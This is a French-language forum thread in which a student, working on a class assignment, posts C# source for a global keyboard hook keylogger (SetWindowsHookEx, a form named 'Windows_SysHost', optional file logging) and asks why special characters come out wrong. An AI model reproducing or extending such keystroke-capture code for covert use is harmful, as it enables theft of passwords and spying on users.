begin process at 2013 06 19 02:06:39
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C#

 > 

Système

 > 

Périphérique

 > 

L'ASCII c'est bien mais...


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

L'ASCII c'est bien mais...

mercredi 4 juillet 2012 à 16:20:36 | L'ASCII c'est bien mais...

tigerskin

Bonjour à tous !

Dans un but éducatif, l'un des mes professeurs d'info nous a demandé de réaliser un petit keylogger en C#.

Il fonctionne à peu près mais j'ai un petit souci (sinon je ne serais pas la :p), voici un exemple : lorsque je tape sur la touche "&" (ampersand en ASCII), ma KeyValue vaut 49, ce qui correspond en ASCII au chiffre 1. Mon programme écrit donc "1" au lieu de "&", et j'ai évidemment le même problème pour tous mes caractères spéciaux...

Quelqu'un aurait-il une idée pour contourner ce problème ?

Merci d'avance !
mercredi 4 juillet 2012 à 19:36:28 | Re : L'ASCII c'est bien mais...

whismeril

Bonsoir, commence par faire voir ton code....
citation de NHenry:

  1. Pour poser correctement une question et optimiser vos chances d'obtenir des réponses, pensez à lire le règlement CS, celui-ci pour bien poser votre question ou encore celui-ci pour les PFE et autres exercices
  2. Quand vous postez un code, merci d'utiliser la coloration syntaxique (3ième icône en partant de la droite : )
  3. En VB.NET pensez à activer Option Explicit et Option Strict (propriété du projet) et à retirer l'import automatique de l'espace de nom Microsoft.VisualVasic (onglet Références dans les propriétés du projet).
  4. Si votre problème est résolu (et uniquement si c'est le cas), pensez à mettre "Réponse acceptée" sur le ou les messages qui vous ont aidés.




Whismeril
lundi 9 juillet 2012 à 09:38:19 | Re : L'ASCII c'est bien mais...

madkeyboard

Salut,

Tu peux essayer de fonctionner avec la propriété KeyCode ??
Mais comme dis whismeril, tant que tu ne nous met pas ton exemple de code, on aura qu'une très vague idée de ce que tu cherche à faire, et on va avoir du mal à t'aider...

Mad Keyboard
lundi 9 juillet 2012 à 11:43:48 | Re : L'ASCII c'est bien mais...

tigerskin

Salut !

Tu peux essayer de fonctionner avec la propriété KeyCode ??



J'ai déjà essayé mais j'ai le même souci.

Je vous mets le code cet après-midi, désolé de ne pas l'avoir fait avant
lundi 9 juillet 2012 à 13:34:32 | Re : L'ASCII c'est bien mais...

tigerskin

Ci-dessous la partie qui me sert au hook.

Code C# :
using System;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;   

public class GlobalKeyboardHook
{
    [DllImport("user32.dll")]
    static extern int CallNextHookEx(IntPtr hhk, int code, int wParam, ref keyBoardHookStruct lParam);
    [DllImport("user32.dll")]
    static extern IntPtr SetWindowsHookEx(int idHook, LLKeyboardHook callback, IntPtr hInstance, uint theardID);
    [DllImport("user32.dll")]
    static extern bool UnhookWindowsHookEx(IntPtr hInstance);
    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string lpFileName);

    public delegate int LLKeyboardHook(int Code, int wParam, ref keyBoardHookStruct lParam);

    public struct keyBoardHookStruct
    {
        public int vkCode;
        public int scanCode;
        public int flags;
        public int time;
        public int dwExtraInfo;
    }

    const int WH_KEYBOARD_LL = 13;
    const int WM_KEYDOWN = 0x0100;
    const int WM_KEYUP = 0x0101;
    const int WM_SYSKEYDOWN = 0x0104;
    const int WM_SYSKEYUP = 0x0105;

    LLKeyboardHook llkh;
    public List<Keys> HookedKeys = new List<Keys>();

    IntPtr Hook = IntPtr.Zero;

    public event KeyEventHandler KeyDown;
    public event KeyEventHandler KeyUp;

    // This is the Constructor. This is the code that runs every time you create a new GlobalKeyboardHook object
    public GlobalKeyboardHook()
    {
        llkh = new LLKeyboardHook(HookProc);
        // This starts the hook. You can leave this as comment and you have to start it manually (the thing I do in the tutorial, with the button)
        // Or delete the comment mark and your hook will start automatically when your program starts (because a new GlobalKeyboardHook object is created)
        // That's why there are duplicates, because you start it twice! I'm sorry, I haven't noticed this...
        // hook(); <-- Choose!
    }
    ~GlobalKeyboardHook()
    { unhook(); }

    public void hook()
    {
        IntPtr hInstance = LoadLibrary("User32");
        Hook = SetWindowsHookEx(WH_KEYBOARD_LL, llkh, hInstance, 0);
    }

    public void unhook()
    {
        UnhookWindowsHookEx(Hook);
    }

    public int HookProc(int Code, int wParam, ref keyBoardHookStruct lParam)
    {
        if (Code >= 0)
        {
           Keys key = (Keys)lParam.vkCode;
           if (HookedKeys.Contains(key))
            {
                KeyEventArgs kArg = new KeyEventArgs(key);
                if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                    KeyDown(this, kArg);
                else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                    KeyUp(this, kArg);
                if (kArg.Handled)
                    return 1;
            }
        }
        return CallNextHookEx(Hook, Code, wParam, ref lParam);
    }
}
lundi 9 juillet 2012 à 13:44:01 | Re : L'ASCII c'est bien mais...

tigerskin

Et voici la partie "Fenêtre"

Code C# :
namespace Windows_SysHost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        GlobalKeyboardHook gHook;
        private void Form1_Load(object sender, EventArgs e)
        {
            gHook = new GlobalKeyboardHook();
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
                gHook.HookedKeys.Add(key);
            gHook.hook();
        }

        // Quand une touche est pressée
        public void gHook_KeyDown(object sender, KeyEventArgs e)
        { 
            //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);          
            //sw.Write((char)e.KeyValue);
            //sw.Close();

            textBox1.Text += ((char)e.KeyData).ToString();
        }

        //Fermeture de la fenêtre
        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            gHook.unhook();
        }
    }
}
lundi 9 juillet 2012 à 15:21:44 | Re : L'ASCII c'est bien mais...

jopop

Salut,

d'après ce lien, hors [0-9][A-Z] , il n'y a pas de correspondance sûre entre les KeyCode/Data/Value et l'encodage ASCII.
lundi 9 juillet 2012 à 17:26:14 | Re : L'ASCII c'est bien mais...

tigerskin

Merci pour la réponse.

Donc si je comprends bien, je dois traiter manuellement les codes retour KeyValue pour pouvoir afficher la "vraie" touche tapée par l'utilisateur ?
mardi 10 juillet 2012 à 09:00:18 | Re : L'ASCII c'est bien mais...

jopop

J'en ai bien peur. A voir si d'autres helpers arrivent avec de meilleures nouvelles.
mardi 10 juillet 2012 à 10:44:43 | Re : L'ASCII c'est bien mais...

madkeyboard

Salut !

Je suis loin d'être un spécialiste, et j'ai jamais codé de hook, donc je pige pas tout dans le détail le fonctionnement de ton programme...

Par contre, j'ai tenté de le faire tourner chez moi, j'en arrive à la même conclusion que jojpop : faut tout revoir à la main ! (dans ce cas là, c'est le code de la flèche du haut qui donne le "&" !)

J'ai la sensation que y'a d'autres solutions, mais c'est pas moi qui les ais ^^

Bon courage !

Mad Keyboard


Cette discussion est classée dans : problème, ascii


Répondre à ce message

Sujets en rapport avec ce message

Problème d'accentuation avec les sockets [ par tiborg ] Bonjour,Je suis actuellement à la recherche d'un exemple simple de chat. Et à chaque fois que j'essaie une source ou que je la programme j'ai un probl La Fonction ASCII et Chr() [ par DrChal ] DrChalSalut,Je cherche le moyen de remplacer une chaîne de caractère par un retour chariot.En Vb, il y avait chr(10)+chr(13) mais maintenant en C#, c' changement de form après un click [ par BadFox ] salut,mon problème est que j'ai une form avec un bouton où lorsque je clique dessus, je voudrais changer tout ce qu'il y a sur cette form mais en la g dataGrid problème [ par pjerier ] bonjour à tous, je voudrais ecrire dans l'en-tête d'une ligne d'une dataGrid -> si quelqu'un peut m'aider..Merci d'avance !! Le language utilisé est l datagrid et bouton radio... [ par titou65 ] Bonjour,Je bosse sur un datarid en mode Web...je pense que pour une window form mon problème aurait la même solution.J'ai donc un datagrid qui m'affic problème avec des ListeView (C#) [ par Zaecken ] Je n'arrive pas à afficher les SubItem. je fais: ListViewItem liste = new ListViewItem(new string[]{"aa" , "bb" , "cc"}); lv.Items.Add(liste); (lv est System.Net.SocketPermission... [ par houseclubber ] J'ai un problème. J'ai testé une source de ce site qui fait un client serveur multi telnet qui fonctionne chez moi, mais pas à mon école...Voici l'err problème de guillemets [ par lpoinsot ] J'ai un petit problème je cherche à mettre des guillemets dans un chaine de caractère...par exempleChaine = ""mais ça marche po, même en mettant 2" av code ascii [ par alcamatt ] comment peut on reccupérer le code ascii d'un caractere avec csharp ?En visual basic, je crois me rappeler qu'il fallait utiliser la fonction Asc()mer Problème d'Upload de fichier Image [ par pchanet ] Bonjour à tous,J'ai un problème avec le code de téléchargement d'une image. Lorsque j'active le téléchargement, une erreur s'affiche :->> "La référenc


Nos sponsors


Sondage...

CalendriCode

Juin 2013
LMMJVSD
     12
3456789
10111213141516
17181920212223
24252627282930

Consulter la suite du CalendriCode

Photothèque

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,764 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales